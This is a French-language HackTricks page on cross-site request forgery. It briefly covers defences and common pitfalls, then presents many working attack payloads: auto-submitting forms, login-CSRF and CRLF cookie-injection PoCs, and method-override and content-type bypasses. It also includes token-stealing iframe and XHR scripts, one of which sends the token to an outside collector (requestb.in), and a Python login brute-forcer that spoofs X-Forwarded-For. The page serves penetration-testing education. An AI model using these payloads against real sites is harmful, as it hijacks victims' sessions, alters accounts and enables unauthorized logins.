CSRF (Cross Site Request Forgery)

Reading time: 23 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cross-Site Request Forgery (CSRF) Expliqué

Cross-Site Request Forgery (CSRF) est un type de vulnĂ©rabilitĂ© de sĂ©curitĂ© prĂ©sent dans les applications web. Elle permet Ă  des attaquants d'exĂ©cuter des actions au nom d'utilisateurs sans mĂ©fiance en exploitant leurs sessions authentifiĂ©es. L'attaque se dĂ©roule lorsqu'un utilisateur, connectĂ© Ă  la plateforme de la victime, visite un site malveillant. Ce site dĂ©clenche alors des requĂȘtes vers le compte de la victime via des mĂ©thodes comme l'exĂ©cution de JavaScript, la soumission de formulaires ou le chargement d'images.

Prérequis pour une attaque CSRF

Pour exploiter une vulnĂ©rabilitĂ© CSRF, plusieurs conditions doivent ĂȘtre rĂ©unies :

  1. Identifier une action intéressante : l'attaquant doit trouver une action à exploiter, comme changer le mot de passe de l'utilisateur, l'email, ou élever des privilÚges.
  2. Gestion de session : la session de l'utilisateur doit ĂȘtre gĂ©rĂ©e uniquement via des cookies ou l'en-tĂȘte HTTP Basic Authentication, car d'autres en-tĂȘtes ne peuvent pas ĂȘtre manipulĂ©s pour cette attaque.
  3. Absence de paramĂštres imprĂ©visibles : la requĂȘte ne doit pas contenir de paramĂštres imprĂ©visibles, car ceux-ci peuvent empĂȘcher l'attaque.

Vérification rapide

Vous pouvez capturer la requĂȘte dans Burp et vĂ©rifier les protections CSRF ; pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vĂ©rifier la requĂȘte :

Défense contre CSRF

Plusieurs contre-mesures peuvent ĂȘtre mises en place pour se protĂ©ger contre les attaques CSRF :

  • SameSite cookies : cet attribut empĂȘche le navigateur d'envoyer les cookies avec des requĂȘtes cross-site. More about SameSite cookies.
  • Cross-origin resource sharing : la politique CORS du site victime peut influencer la faisabilitĂ© de l'attaque, surtout si l'attaque nĂ©cessite de lire la rĂ©ponse du site victime. Learn about CORS bypass.
  • VĂ©rification de l'utilisateur : demander le mot de passe de l'utilisateur ou rĂ©soudre un captcha peut confirmer l'intention de l'utilisateur.
  • VĂ©rification des en-tĂȘtes Referrer ou Origin : valider ces en-tĂȘtes peut aider Ă  s'assurer que les requĂȘtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URLs peut contourner des vĂ©rifications mal implĂ©mentĂ©es, par exemple :
  • Utiliser http://mal.net?orig=http://example.com (l'URL se termine par l'URL de confiance)
  • Utiliser http://example.com.mal.net (l'URL commence par l'URL de confiance)
  • Modification des noms de paramĂštres : modifier les noms des paramĂštres dans les requĂȘtes POST ou GET peut aider Ă  empĂȘcher les attaques automatisĂ©es.
  • CSRF Tokens : incorporer un token CSRF unique dans chaque session et exiger ce token dans les requĂȘtes suivantes peut grandement rĂ©duire le risque de CSRF. L'efficacitĂ© du token peut ĂȘtre renforcĂ©e en appliquant CORS.

Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.

PiÚges courants des défenses

  • SameSite pitfalls : SameSite=Lax permet toujours les navigations cross-site de niveau supĂ©rieur comme les liens et les formulaires GET, donc de nombreux CSRF basĂ©s sur GET restent possibles. Voir la matrice des cookies dans Hacking with Cookies > SameSite.
  • Header checks : valider Origin quand il est prĂ©sent ; si Origin et Referer sont absents, Ă©chouer en mode fermĂ©. Ne vous fiez pas aux correspondances par sous-chaĂźne/regex de Referer qui peuvent ĂȘtre contournĂ©es avec des domaines similaires ou des URLs fabriquĂ©es, et notez l'astuce de suppression meta name="referrer" content="never".
  • Method overrides : considĂ©rer les mĂ©thodes surchargĂ©es (_method ou override headers) comme changeant l'Ă©tat et appliquer la protection CSRF sur la mĂ©thode effective, pas seulement sur POST.
  • Login flows : appliquer des protections CSRF au flux de login Ă©galement ; sinon, un login CSRF permet une rĂ©-authentification forcĂ©e dans des comptes contrĂŽlĂ©s par l'attaquant, ce qui peut ĂȘtre enchaĂźnĂ© avec un stored XSS.

Contournement des défenses

De POST Ă  GET (method-conditioned CSRF validation bypass)

Certaines applications n'appliquent la validation CSRF que sur POST tout en l'ignorant pour les autres verbes. Un anti-pattern courant en PHP ressemble Ă  :

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Si le point de terminaison vulnĂ©rable accepte Ă©galement des paramĂštres depuis $_REQUEST, vous pouvez rĂ©exĂ©cuter la mĂȘme action en tant que requĂȘte GET et omettre complĂštement le token CSRF. Cela transforme une action rĂ©servĂ©e au POST en une action GET qui rĂ©ussit sans token.

Example:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Contournement en passant Ă  GET (sans token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Remarques:

  • Ce schĂ©ma apparaĂźt frĂ©quemment avec du XSS rĂ©flĂ©chi lorsque les rĂ©ponses sont servies incorrectement en tant que text/html au lieu de application/json.
  • Associer cela avec du XSS rĂ©duit fortement les barriĂšres d'exploitation car vous pouvez fournir un seul lien GET qui dĂ©clenche Ă  la fois le chemin de code vulnĂ©rable et Ă©vite complĂštement les vĂ©rifications CSRF.

Absence de token

Les applications peuvent implémenter un mécanisme pour valider les tokens lorsqu'ils sont présents. Cependant, une vulnérabilité survient si la validation est complÚtement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramÚtre qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).

De plus, certaines implĂ©mentations vĂ©rifient seulement que le paramĂštre existe mais ne valident pas son contenu, donc une valeur de token vide est acceptĂ©e. Dans ce cas, il suffit de soumettre la requĂȘte avec csrf= :

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

PoC minimal Ă  soumission automatique (masquer la navigation avec history.pushState):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token n'est pas lié à la session utilisateur

Les applications ne liant pas les CSRF tokens aux sessions utilisateur présentent un risque de sécurité important. Ces systÚmes vérifient les tokens contre un pool global plutÎt que d'assurer que chaque token est lié à la session qui l'a initié.

Voici comment les attaquants exploitent cela :

  1. S'authentifier en utilisant leur propre compte.
  2. Obtenir un CSRF token valide depuis le pool global.
  3. Utiliser ce token dans une attaque CSRF contre une victime.

Cette vulnĂ©rabilitĂ© permet aux attaquants d'effectuer des requĂȘtes non autorisĂ©es au nom de la victime, en exploitant le mĂ©canisme de validation des tokens inadĂ©quat de l'application.

Contournement de méthode

Si la requĂȘte utilise une mĂ©thode « Ă©trange », vĂ©rifiez si la fonctionnalitĂ© method override fonctionne. Par exemple, si elle utilise une mĂ©thode PUT/DELETE/PATCH vous pouvez essayer d'utiliser un POST et envoyer un override, p.ex. https://example.com/my/dear/api/val/num?_method=PUT.

Cela peut aussi fonctionner en envoyant le paramĂštre _method dans le body d'un POST ou en utilisant des headers d'override :

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Courant dans des frameworks comme Laravel, Symfony, Express, et d'autres. Les développeurs omettent parfois le CSRF sur les verbes non-POST en supposant que les navigateurs ne peuvent pas les émettre ; avec les overrides, vous pouvez toujours atteindre ces handlers via POST.

Example request and HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

Si la requĂȘte ajoute un custom header avec un token Ă  la requĂȘte comme CSRF protection method, alors :

  • Testez la requĂȘte sans le Customized Token and also header.
  • Testez la requĂȘte avec exactement un same length but different token.

Les applications peuvent implĂ©menter une protection CSRF en dupliquant le token Ă  la fois dans un cookie et dans un paramĂštre de requĂȘte, ou en dĂ©finissant un cookie CSRF et en vĂ©rifiant si le token envoyĂ© au backend correspond au cookie. L'application valide les requĂȘtes en vĂ©rifiant si le token dans le paramĂštre de requĂȘte correspond Ă  la valeur du cookie.

Cependant, cette méthode est vulnérable aux attaques CSRF si le site comporte des failles permettant à un attaquant d'installer un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en lançant l'attaque CSRF.

Ci-dessous un exemple de la maniĂšre dont une attaque pourrait ĂȘtre structurĂ©e:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Notez que si le csrf token est liĂ© au cookie de session, cette attaque ne fonctionnera pas car vous devrez dĂ©finir la session de la victime sur la vĂŽtre, et donc vous vous attaquerez vous-mĂȘme.

Changement du Content-Type

Selon this, pour Ă©viter les requĂȘtes preflight en utilisant la mĂ©thode POST les valeurs de Content-Type autorisĂ©es sont :

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Cependant, notez que la logique du serveur peut varier en fonction du Content-Type utilisé donc vous devriez essayer les valeurs mentionnées et d'autres comme application/json,text/xml, application/xml.

Exemple (depuis here) d'envoi de données JSON en tant que text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Lorsqu'on tente d'envoyer des donnĂ©es JSON via une requĂȘte POST, utiliser Content-Type: application/json dans un formulaire HTML n'est pas directement possible. De mĂȘme, utiliser XMLHttpRequest pour envoyer ce type de contenu dĂ©clenche une requĂȘte preflight. NĂ©anmoins, il existe des stratĂ©gies pour contourner potentiellement cette limitation et vĂ©rifier si le serveur traite les donnĂ©es JSON indĂ©pendamment du Content-Type :

  1. Use Alternative Content Types: Employ Content-Type: text/plain or Content-Type: application/x-www-form-urlencoded by setting enctype="text/plain" in the form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
  2. Modify Content Type: Pour Ă©viter une requĂȘte preflight tout en faisant en sorte que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les donnĂ©es avec Content-Type: text/plain; application/json. Cela n'entraĂźne pas de preflight mais peut ĂȘtre traitĂ© correctement par le serveur s'il est configurĂ© pour accepter application/json.
  3. SWF Flash File Utilization: Une méthode moins courante mais faisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à this post.

Referrer / Origin check bypass

Avoid Referrer header

Les applications peuvent valider l'en-tĂȘte 'Referer' uniquement lorsqu'il est prĂ©sent. Pour empĂȘcher un navigateur d'envoyer cet en-tĂȘte, la balise meta HTML suivante peut ĂȘtre utilisĂ©e :

xml
<meta name="referrer" content="never">

Cela garantit que l'en-tĂȘte 'Referer' est omis, permettant potentiellement de contourner les vĂ©rifications de validation dans certaines applications.

Regexp bypasses

URL Format Bypass

Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramÚtres, vous pouvez faire :

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

Bypass de la méthode HEAD

La premiĂšre partie de ce writeup CTF explique que le code source d'Oak, un router est configurĂ© pour traiter les requĂȘtes HEAD comme des requĂȘtes GET sans corps de rĂ©ponse — une astuce courante qui n'est pas propre Ă  Oak. Au lieu d'un handler spĂ©cifique qui gĂšre les requĂȘtes HEAD, elles sont simplement donnĂ©es au GET handler mais l'app supprime juste le corps de la rĂ©ponse.

Donc, si une requĂȘte GET est limitĂ©e, vous pouvez simplement envoyer une requĂȘte HEAD qui sera traitĂ©e comme une requĂȘte GET.

Exemples d'exploitation

CSRF stocké via HTML généré par l'utilisateur

Lorsque des Ă©diteurs rich-text ou l'injection HTML sont autorisĂ©s, vous pouvez persister un fetch passif qui atteint un endpoint GET vulnĂ©rable. Tout utilisateur qui consulte le contenu effectuera automatiquement la requĂȘte avec ses cookies.

  • Si l'app utilise un token CSRF global qui n'est pas liĂ© Ă  la session utilisateur, le mĂȘme token peut fonctionner pour tous les utilisateurs, rendant le CSRF stockĂ© fiable entre les victimes.

Exemple minimal qui modifie l'email du visiteur lors du chargement :

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF enchaßné à stored XSS

Le Login CSRF seul peut avoir un faible impact, mais l'enchaßner avec un stored XSS authentifié devient puissant : forcer la victime à s'authentifier dans un compte contrÎlé par l'attaquant ; une fois dans ce contexte, un stored XSS sur une page authentifiée s'exécute et peut voler des tokens, détourner la session ou élever les privilÚges.

  • Assurez-vous que le endpoint de login est CSRF-able (pas de jeton par session ni de vĂ©rification d'origine) et qu'aucun contrĂŽle d'interaction utilisateur ne le bloque.
  • AprĂšs le login forcĂ©, naviguer automatiquement vers une page contenant le payload stored XSS de l'attaquant.

Minimal login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Exfiltration du CSRF Token

Si un CSRF token est utilisé comme défense, vous pouvez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité Dangling Markup.

GET en utilisant des balises HTML

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

D'autres balises HTML5 qui peuvent ĂȘtre utilisĂ©es pour envoyer automatiquement une requĂȘte GET sont :

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

RequĂȘte GET par formulaire

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

RequĂȘte POST de formulaire

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

RequĂȘte POST de formulaire via iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

RequĂȘte POST Ajax

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

RequĂȘte POST multipart/form-data

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST requĂȘte v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

RequĂȘte POST de formulaire depuis un iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Voler le CSRF Token et envoyer une requĂȘte POST

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Voler le CSRF Token et envoyer une requĂȘte POST en utilisant un iframe, a form et Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Voler le CSRF Token et envoyer une requĂȘte POST en utilisant un iframe et un form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Voler le token et l'envoyer en utilisant 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token avec Ajax et envoyer un POST avec un formulaire

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF avec Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Le code peut ĂȘtre utilisĂ© pour Brut Force un formulaire de connexion en utilisant le CSRF token (Il utilise aussi l'en-tĂȘte X-Forwarded-For pour tenter de contourner une Ă©ventuelle IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Outils

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks